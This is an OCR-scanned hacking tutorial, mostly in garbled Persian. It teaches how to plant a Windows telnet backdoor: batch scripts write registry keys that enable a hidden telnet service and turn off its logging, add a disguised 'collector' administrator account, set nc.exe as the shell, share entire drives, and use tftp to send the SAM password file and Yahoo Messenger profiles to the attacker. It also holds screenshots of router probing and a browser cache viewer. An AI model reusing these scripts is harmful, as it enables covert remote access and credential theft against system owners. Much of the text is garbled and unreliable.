J Address: Ihttp:,l',l'chat.yahoo.com,l'czjmsn_

L http:ffcl.statcounter, comft. php?sc_project=2477278&resolution=1 2508 amefrom=ta=http33a),
27 httpffcd. thecounter  com/id=2588935size= 1 280&c0lors=328referer=http%. 34/ fviw, 90000000
21 http:ffcalendar . yahoo, com?v=1438a0=b0rnzh4k

{27 httpiffchat, vahoo comjcfadmsg, html?,rf=18.rmspace=16015293358 htm

21 http:ffchat.vahoo comjcfadmsg, html?, rf=18.rmspace=16015293358, rmcat=1600013556

{27 httpffchat, vahoo comjcfadmsg, html?, rmspace= 16003908248, rmcak=1600004725

21 http:ffchat. vahoo comjcfadmsg, html?. rmspace=16015293358. htm

{27 httpffchat, vahoo camjcfadmsag, html? rmspace= 16015293358, moak=1600013556

-1 http:ffchat. vahoo comjcfmsgichat bkl

23 httpffchat, vahoo camjc2 msaftrans. htm

21 http:ffchat. vahoo comjc2 fmsgftrans, htmlzid=16015293358ink=us

4]
B2 alphasort |Fti Arcesssort I Histary |

operties

Total Cache Entries: 4437
Cache Entries URL: 3415
Cache Entries Cookie: 46
Cache Entries Histary: 973
Cache Entriesﬁ
Cache Entries HTTP: 3414
Cache Entries Gif: 1298
Cache Entries JPEG: 1321
Cache Entries png: 41

Cache Entries Au: 1

Cache Entries AIFF: 0

Cache Entries XEM: 0

Cache Entries Active: 0
Cache Entries Javascript: 71
Cache Entries Java: 0

Cache Entries Style Sheet: 83
Cache Entries html: 564
Cache uses : 22,460 MBytes actually 2135903 MBytes

o

Z|[SourcelrlNane: http:~-chat.yahoo.con cZ - nzg e || 2 addeess: [ 107
Al|LocalFileName: C:“Documents and Settings_h:n:e Al
FileExtension: 00000048 3D
CacheEntrvyTyps: 1 Hormal cache entry 000000ED 55
ESfcgu?ti g 000000BS 55
i ate:
File Size: 1395 o
Last Modified: Thursday. 01. January 1970
Expire Date: Thursday. 01. January 1970 oooooobo 43
Last Access: Wednesday., 16. February 2005 000000DE 4D
Last Synchronized: Honday., 14, February 2005 000000ED 43
HTTP-1.0 200 QK 000000ES 4D
Content-Length: 1395 nonoooFa a3
Content-Type: text-html D0000OFS 4D
oooooloo 43
0o0o0los 4D
ooooollo 43
ooooolls 40
Oooo0lzo 43
ooo0o0lzs 40
il}l\ CacheEntry Propertias }\ Cookia \ Find in Filaz / LI
Feady [ | LOKAL 2

Olilyd S (5SS Syl ¥ Burb Sl sae wladS Lssel Coway

(el s puyiws > pgoc Shy Bed 5191 0,3)

S99 SId ouwuw Sg; 95 o, 5l Telnet JguusS S5 @ suliows

o> 5l puS oslol | wloddo Sy Sy Jol 1L, ol sl
505 sewo LINTLM lado 2L LS cul Sy cacwl iy VSl Sz, Glowhais 55, b (Login) SV Joc UlSol Usgos pdly9.1
Loads i 1 ay 2



HKEY_LOCAL_MACHINE\SOFTWARE\MICROSOFT\TELNETSERVER\1.0
gk Sl ol 3L as Tintsvr.exe ol a0 cowd sLTelnet od j9,w Sg, .2

T iy el Susl oslaiwl b iyl aSais s,b 5l ados>.A

03,5 law Csewiows Jow @ lawl(Lass.exe ,DCom32 sla 0,8> alin);93509,5 39>g0 S 0,85l oslawl L b 3985 ¢l 5>
P> o plil(*.reg) Syiwuz, b Sy aliws U 9 pudiiuo e ok ili Gugyw Sill olg Syiunz; Gloylaisy

Net joiws ;| Ulgine od ili Gugrw )1l ol Sy eusS oslaiwl Ol 4y (s>9,5 culadsEcho Lloyd 5l Llgine ehaio ¢l Sl
.5,S oslaiwliStart

ifdecho REGEDIT4=temp.req

echo. =>temp.reqg

echo [HKEY _LOCAL MACHINE'SYSTEM 'CurremtControlSet'Services Tintswr] ==temp.reg
echo. ==temp.reqg

echo “start"=dword: 00000002 =>temp.reg

echo"type”=dword:00000010>>temp.reg

echo
"“failureactions"=he:x:00,00,00,00,00,00,00,00,00,00,00,00,03,00,00,00,38,65,11,00,01,00,
00,00,60,ea,00,00,01,00,00,00,60,ea,00,00,01,00,00,00,60,ea,00,00>>temp.req

echo. =>temp.reqg

echo [HKEY _LOCAL MACHINE'SOFTWARE Microsoftitelnetserver'1.0]=>temp.reg
echo.=*temp.reg

echo"NTLM"=dword:0000001=>temp.reg

echo"telnetPort”=dwor d:0000f = =temp.reg

regedit /s temp.reqg

net start Tintswr

del temp.reg

del install.cmd

Oole 9 1Suo Jlocl HUas| o, wsls Vlis Vg | Lk 5,90 wlewdaiiRegedit /s temp.reg w,le

astelnet Luugrw s cowl GSoo s iz adl . auSuw Sslail ol | wuls Juug wNet start nltsvr

10l cowlio wllasl adaw Ug=ed sliluwo wle

Services CREATESVRANY "telpon” “telnet pwned" "C:\windows\svrany.exe" “c:\windows\system32.tIntsvr.exe"
Net Start Telpon

oS wali Hhi )00 Bad @ Ulgiue V>
oS oslasiwl ,30s whgiws Spw Syl Ulgio ol adaw b o> 5,8 S skl sl bl

el 1S Gul S skl Lo by Guod] adaw 55 2> 50,8 S, U g0 adlolnet start telpon giws 51 Jud Olsino 505 Sla wlo,d
S9xio WD LigaolS 5> S ;liswl

S Sl | aSiai uae wl)luasl adaaw U Satanic > 9. LCollector ouwl auyu)lS @ jgiws ¢l

net user Collector satanic fadd

net localgroup administrators collector fadd

net localgroup administrateurs collector fadd

net user collecotr/comment:"bhuilit-in account For Microsoft Collector Server 2000

net user collector /expires:never
net user collector ffullname:"collector™
net account /Blackdevilboys:unlimited

ailals aSiui Guedl adow H3IPC (g Cain Sy Sy ((Password)s,ewy 9 (Username ) ouwiyies Yud cowl o3V 1S ol Sl



350 pll 5 W0 a4 BID HiguolS 4 pusiwoe Jlail Ltelnet Guug,w Sslal ol 9 Syiwuzy, wlowhii g,y ol s
(pwiSuo Lazaiw |, Wadip gFile >connect to remote registry assgStart>run>regedit liul)Oid S o=, 4 Jlail.1

39 G osls s 1 @ 2 5l |, Ntim oS lase HKEY_LOCAL_MACHINE\SOFTWARE\TELNETSERVER\L.0 o )3 lonkais juusi.2
D9y VSl il Guugyaw @

Start>Settings>Control Panel>Administrating tools>Computer ;| i o5,S |,>| |, Computer Management.3
puiSao 3)lg [ Wad sy Sly ewiSie Lkl |;management>remote computer

Jled L,automatic Startup @3S g 05,Sright click a9 ous,Suo cili JWid A Gumgrw Sgio Hd> BAD LigawolS @ Jlail ;1 juy.4
(39 Jled Silogil wils g rw aSiyl i) puiSio

oS (50 5985 9 05,5 L=l | wili 0loys (CMA)ss ol (s 0loyd b5

IRC s 9pw @ Jlail

Sl wyer a4 ilei v LB Gl Sy s Jaio IRC H9,w Sy @y Vlgi (o s>l 5w o J5 gy L
Dl Gw L Wwigo W jgiwd Gul IS JSG ugai Juaie 6667 9 7000 aslod IRC Gug saw

Tel net >open irc. servernane .net 6667
Ni ck

User
aS 2uS a>gi S ol @ khsd aulos oslaiwl MIRC aoly (slo,d Jlaw Sld Uloyd I awlei oo Lunsw
2A6S 3)lg suloyd e 5l Jud |, / coMe MIRC 5 whhgiws dilod s 03V 20,05 518 Raw el s 3
— 5,15 3939 S& g, Ul pd ol 5l 55 0slw — 391 Joss Giwg, ol 5l Olgi s |, Sob; Sla oslaiwl.
5l awlei o Jbuw,l Shy = awles esleswl (i 5> Sy sbal Sl b 3,90 W)ey 5l Wlei o i
o)lers bowg loww wldoe aS aowl Gioloo Guizod dulos oslewl MIRC > LB JLw,)l sla ulo,d
0 Juaio (Irc gamgrw el 53 ) Gangrw S @ oo aisbown gy S 5l oy ow adless aSely Gl
S5 aS Lol 5l — awlos oslasiwl oo adnss uod 5l 1,106 Houc aolS @ Sl irc S 9w i — il
Netstat Olo,d U |, (sil,d S IP (s>l d0i 5w 5138, 1ICQ (e 5l v ailed pusicuo bl
ilsi o LS cules v IRC H9w SO L - yguin S 0lisg> aS 3wl wiblse had a0l cows
S Ul 9w Sy Sy 0 1) 393 il 9 36S5 i | Wy d ol

<o J5 o Evil Http by 5l oslaiwl b o5l 3,1

Cewld a0l I (salizo glgil 0 Lod @ i Ji Sl wnbld 5.8 )8 @ (sblsi caomud ol jghio




Evil HTTP alo>

g |y 50 wlhgiows Tl

Net Start Telnet

Net User collector satanic /Add
Net Localgroup Administrator collector /Add
Net Share C$=C:

Net Share C$=D:

Net Share C$=E:

Net Share C$=F:

Net Share C$=G:

Net Share C$=H:

Net Share C$=lI:

Net Share C$=J:

Net Share C$=K:

03 bl Gt 250 L8 @ 595 (sid Giwils 5 @y Sl oslaiwl U | Ssasio wlgiws alei s oo ail
23 Lsusy UO9 G wigs Net start telnet jgiws 5l A4S (s (84,50 WOAD @ g 03900 0,35 Text 16 S
L ool o 0byier SSI 2w gy owpiws picuw auin, &bo 5l Shell Sy @y awlss w9 0aw 5
net ulo,d ;l oslaiwl U aulos Juaws Super User &y a, |, «olSI net user ulo,d U 395 Guod! (oo iws

ulos 5945 Net Bios (au,b 5l 9 aswliS Shivawl au |, Bas sla gil,s ;. share

* * X

Bad w3l S3S S 9 SiwuslewsS| Oldoe pEid 55 S,8 L8 @ s sw oslasiwl o Ji 5l i aS uld (subilei L0 5l
Sl @y 598 w0 dlpinding o s> plil | doe gl 9 s s S wo b aidl il w

lroyirmld 55 o 5 Sla csublys 5l oslaiawl b W g, Sais,Sy

VS ud it w0 x5 S > S shailad aill) ey 9 Losas A Sy S gy b oSy i ssame o Gul aupi Sy
aSeio pgawyo Gwiled (gubb cuowl 030l Ayl | Ul @ waw >)lg o5 Mol U 5 cand svogas aSiui Sy ol aSiul oo ol
Syrw S gy £95 5l Lig) ol AsS s vadlie aS jghilod ooy o 0yp aSw wleMbl ggi ul 5l Ul woloi Jio o Lo

Saalos oslaiwl W g, 51 aiws ol L9 L S LU Sl 3wilsi (o SHLIS U s LD 53 bl (0 5539, S

Job 53 1 03,8 pb i p300 S b g Jled isSHlS @S aud o @S Lex el oslaiwl LB a9 05,0 Ly yig) S ol anl
I, Jlocl ol awlei s 95 ol 51 W gy Sasu,Siy Sl aS auil (o ol coaud ol 5l Haio 1rsd 65,55 oy | pdg9s Ul > aS (sidw
v Bladl L5059 B Sy WS o (b e (i e plxl



s maston e yperrenmnal laix]
File Edit “iew Cal Transfer Help
D= s(3| ol
Router>?nfig 7 -l
Exec commands: Unrecognized
access-enable Create a temporary Access-List entry
Translating “config”...domain server (4% 168.90.1)
access-profile Apply user-profile to interfaceranslating “config”...domain s
connect Open a terminal connection
disable Turn off privileged commands
disconnect Disconnect an existing network connection
enable Turn on privileged commands
exit Exit from the EXEC
help Description of the interactive help system
lock Lock the terminal
login lLog in as a particular user
logout Exit from the EKXEC
mrinfo Req¥est neighbor and version information from a multicast
router
mstat Show statistics after multiple multicast traceroutes
mtrace Trace reverse nulticast path from destination to source
name-connection Name an existing network connection
pad Open a ¥.29 PAD connection
ping Send echo messages
ppp Start IETF Point-to-Point Protocol (PPP)
resume Resume an active network connection
rlogin Open an rlogin connection .
show Show running system information
slip Start Serial-line IP (SLIP)
systat Display information about terminal lines =
Connected 0:00:26 [auto detect 115200 8-h-1  [SCROLL  [CAPS  juumM  [Capture  [Prinkecho 4

Router>show ?

backup Backup status

c3600 Show ¢3600 information

cca CCA information

cdapi CDAPI information

cef Cisco Express Forwarding

class-map Show QoS Class Map

clock Display the system clock

compress Show compression statistics

connection  Show Connection

context Show context information about recent crash(s)
controllers  Interface controller st

cops COPS information

dialer Dialer parameters and statistics

dss DSS information

exception exception informations

flash: display information about flash: file system
history Display the session command history

hosts IP domain-name, lookup style, nameservers, and host table
location Display the system location

mls multilayer switching information

modem Modem Management or CSM information
modemcap Show Modem Capabilities database
policy-map  Show QoS Policy Map

ppp PPP parameters and statistics

qdm Show information about QoS Device Manager
queue Show queue contents

queueing Show queueing configuration

radius Shows radius information

rmon rmon statistics

rtr Response Time Reporter (RTR)

sessions Information about Telnet connections
slot0: display information about slotO: file system
slotl: display information about slotl: file system
snmp snmp statistics

tacacs Shows tacacs+ server statistics

template Template information

terminal Display terminal configuration parameters
tgrm Trunk Group Resource Mananger info

traffic-shape traffic rate shaping configuration
Display information about terminal lines

users

version

Router>show
% Type "show ?" for a list of subcommands
Router=>show location
Router=>show modem

System hardware and software status




Codes:

* - Modem has an active call
R - Modem is being Reset

D - Download in progress

B - Modem is marked bad and cannot be used for taking calls

b - Modem is either busied out or shut-down

Avg Hold Inccalls Outcalls Busied Failled No  Succ

Mdm  Time Succ Fail Succ Fail Out Answer Pct.
1/0 00:03:17 12 5 0 O 0 0 71%
1/1 00:05:23 60 15 0 0 0 0 80%
1/2 00:06:43 125 21 0 0 0 0 86%
1/3 00:01:01 0 41 0 O 0 0 0%
*1/4 00:10:42 352 38 0 O 0 0  90%
1/5 00:06:53 223 22 0 O 0 0 91%
1/6 00:00:00 0O 0 0 o0 0 0 0%
1/7 00:00:00 0O 0 O

1/8 :06: 5 3 0 O 0 0 63%
1/9 1 4 0 O 0 0 20%
1/10 00:05:46 360 44 0 O 0 0 89%
1/11 00:00:00 0O 0 0 O 0 0 0%
1/12 00:10:31 2 2 0 o0 0 0 50%
1/13 00:10:24 97 17 0 0 0 0 85%
1/14 00:00:00 0 0 0

1/15 00:00:00 0 0 0 0 0 0 0%
Total: 00:07:35 1237 212 0 O 0 0 85%

Router=>show connection
% Incomplete command.

Router>rlogin
% Incomplete command.

Router>rlogin root
Translating "root"...domain server (XXX.168.90.1)

% Unknown command or computer name, or unable to find computer address

Router>show flash

System flash directory:
File Length Name/status

1 6022704 c3660-i-mz.122-5d.bin
[6022768 bytes used, 10754448 av

16384K bytes of processor board System flash (Read/Write)

Router>show cef
% Incomplete command.

Router>pad
% Incomplete command.

Router>name-connection
Connection number: 12346343
% 12346343 is not an open connection
Router>name-connection
Connection number: 1

% 1 is not an open connection
Router>where

% No connections open
Router>mrinfo

% Timed out receiving response
Router=>show mls

% Incomplete command.

Router>show modemcap
default
codex_3260
usr_courier
usr_sportster
hayes_optima
global_village
viva
telebit_t3000
microcom_hdms
microcom_server
nec_v34
nec_v110
nec_piafs
cisco_v110
microcom_mimic
mica

nextport

Router>show cops
% Incomplete command.

Router>configuration

Translating "configuration”...domain server (XXX.168.90.1)

Translating "configuration”...domain server (XXX.168.90.1)

(192.168.90.1)



Translating "configuration”...domain server (XXX.168.90.1)
% Unknown command or computer name, or unable to find computer address
Router>
Router>
Router>
Router>config modem
N

% Invalid input detected at ‘" marker.

Router>config ?

% Unrecognized command

Router>config

Translating “"config"...domain server (XXX.168.90.1)

Translating "config"...domain server (XXX.168.90.1)
(192.168.90.1)

Translating “"config"...domain server (XXX.168.90.1)
% Unknown command or computer name, or unable to find computer address
Router>

Router>

Router>

Router>

Router>

Router>

Router>

Router>traceroute

% Incomplete command.

Router>show compress

Router>rlogin
% Incomplete command.

Router>'rlogin ?

% Unrecognized command

Router>'rlogin

% Unknown command or computer name, or unable to find computer address
Router>rlogin root

Translating "root"...domain server (XXX.168.90.1)

% Unknown command or computer name, or unable to find computer address
Router>login

% No login server running.

Router>
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File  Action Wiew Help

« =[]
% Services (Local)

Telnet Properties (Local Computer) 2=l i
I

General | Log DnI Hecoveryl Dependenciesl

Telnet Mame  # | Description
Stop the service %Protected Storage Provides pr., il meme TIntSwr
Pause the service %QDS RSWP Provides n..
Restart the service %Remote Access Auk,,,  Creates a ., Dizplay name: m
o Remoate Access Con... Createsa .. o Erati : ol o th ; d
E::ETf:'E",;mote user to log on to this %Remote Desktop He... Managesa., — Desciption: rur:fprsZrz;nitngnedize;psrtggvgnm?s TIES.-?InI;D'IL'JeTr:;n ;I
computer and run legralr_ns, and SIUEPMS %Remote Packet Cap... Allows toc., LI
l\:r::eo_éli;fbﬁlﬁotsr-‘;;scelﬂt:g::;r:‘gIFLtlmzK- Remate Procedure ... Provides th, Path to executable:
;fo"‘g"r:_:: :.i?g"rﬂef; r:r::?rtaeilzgleer.alc;isi: ;Zmice s %Remote Proc.edure o Managest.. v MDOWS S pstemn32stintzyr exe
dizabled, any services that explicitly depend an %Remote Registry Enables re..
it will Fail to start, %Removable Storage Starup type: Manual j
%Routing and Remat...  Offers rout, =
%Secondary Logon Enables st..
%Secunty Accounts ... Stores sec... Service status Started
%Server Supports fil,
%Shell Hardware Det... Start | Stop | Pauze Biesume |
%Simple Mail Transfer... Transports.,
%Smart Card Manages a., 10U can specify the start parameters that apply when pou start the service
%Smart Card Helper Enables su.. e e
SHMP Service Includes a.. e R I
%SNMP Trap Service Receives tr,
%SSDP Discovery Ser... Enables dis,
%System Event Motifi,.. Tracks syst,
% System Restare Ser... Performs s.. Ok I Cancel Apply
%Task Scheduler Enables a .. oo T T
%TCPIIP MetEIOS Hel... Enables su...  Started Aukomatic Local Service
%Telephony Provides T...  Started Manual Local System
%Telnet Enables ar... Started Manual Local System
%Terminal Services Allows mulk,,,  Started Manual Local System
%Themes Provides u...  Started Aukomatic Local System
%True\n‘ector Internet... Monitorsin... Started Automatic Local System
%Uninterruptible Pow... Manages a... Manual Local System
%Universal Plugand ... Providess... Manual Local Service
%Upload Manager Manages s...  Started Automatic Local System
%Visual Studio Analyz... Manual Local System
%Volume Shadow Copy  Manages a Manual Local System e
%Webclient Enables Wi... Started Aukomatic Local Service
%Windows Audio Manages a... Started Automatic Local System
%Windows Image Ac... Provides im... Manual Local System
%Windows Installer Installs, re... Manual Local System
Wiindoms Mananern Prowides & Skarted A ibarnatic | aeal Swatam LI

Extended A Standard /

OB il g piedao i b5 ug i Udgs (99 5ue 5l abogyye plin Bl ) 9 505 Heiws
A ) dgui w0 Aoyl AS sw osleiwl MIRC anlyy 5l aS (silwsS Sl pogas> a
(Aloyd azgi 505 JSo

A _ioix

C:~>net stop telnet &—
The Telnet service is stopping.
The Telnet service was stopped successfully.

C:“>net start telnet server
The Telnet service is starting.
The Telnet service was started successfully.

N
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(... 3l sdoc 5,058 9 ol

@echo off
Prompt $p$g
if exist %owindir%\System32\telnet.exe
net start telnet server
REM Telnet Remote Configuration (NT/2k/XP supported)
if exist [HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\TelnerServer\Defaults]>> %windir%\System32\logsys0002.reg
echo Windows Registry Editor Version 5.00> %windir%\System32\logsys0002.reg
echo [HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\TelnerServer\Defaults]>> %windir%\System32\logsys0002.reg
echo "EventLoggingEnabled"=dword:00000000>> %windir%6\System32\logsys0002.reg
echo "LogNonAdminAttempts"=dword:00000009>> %windir%\System32\logsys0002.reg
echo "SecurityMechanism"=dword:00000000>> %windir%\System32\logsys0002.reg
echo "TelnetPort"=dword:00000017>> %windir%\System32\logsys0002.reg
echo "MaxConnections"=dword:00000009>>%windir%\System32\logsys0002.reg
echo "LogFailures"=dword:00000000>> %windir%\System32\logsys0002.reg
attrib +h %windir%\System32\logsys0002.reg
copy %windir%\System32\logsys0002.reg autoexec.bat
regedit /s %windir%\System32\logsys0002.reg
REm You can del this fiel after your operation del %windir%\System32\logsys0002.reg
pause
If not exist %windir%\System32\telnet.exe
abort
GOTO end
:end
echo [HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\TelnerServer\Defaults]
echo "DefaultShell"=backdoor file>> %windir%\System32\logsys0002.reg
copy back door file %owindir%\System32\name of file Eg.”nc.exe”
Prompt $p$g
@echo on
del %windir%\System32\logsys0002.reg
tftp —I victim ip put %windir%\repair\sam file your IP and destination when FTP server Program has been started in your
machine
tftp —I victim ip put %windir%\repair\ Program Files\Yahoo!\Messenger\Profiles\*.* file your IP and destination when
FTP server Program has been started in your machine
net user add *hhhhhhhkhkx
and use too many commands u LOVE
rem end of file
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Internet Authentication Service

If a problem still exists after checking basic IAS configuration, the Metwork Monitor (MetMeon) tool can be used to
record a trace of the problem for further analysis,

When gou use Metwork Maonitor for IAS troublezhoaoting, consider the fallowing:

Routing ® Ifyouuse MetMon in a switched network environment, you zee anly the traffic addressed to the computer

thatis running Methon,
E Remote Access

For more information about setting up and using Metwork Moniter, see "Monitoring Metwork Performance” in
Remote Access Server

the MicrosoftE Windows B 2000 Server Resource Kt Server Operations Guide,
[E] Internet Authentication S

IAS Ouerview
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Set up Metwark Monitar for RADIUS troubleshooting by filtering MetMan on RADIUS packets in a trace,
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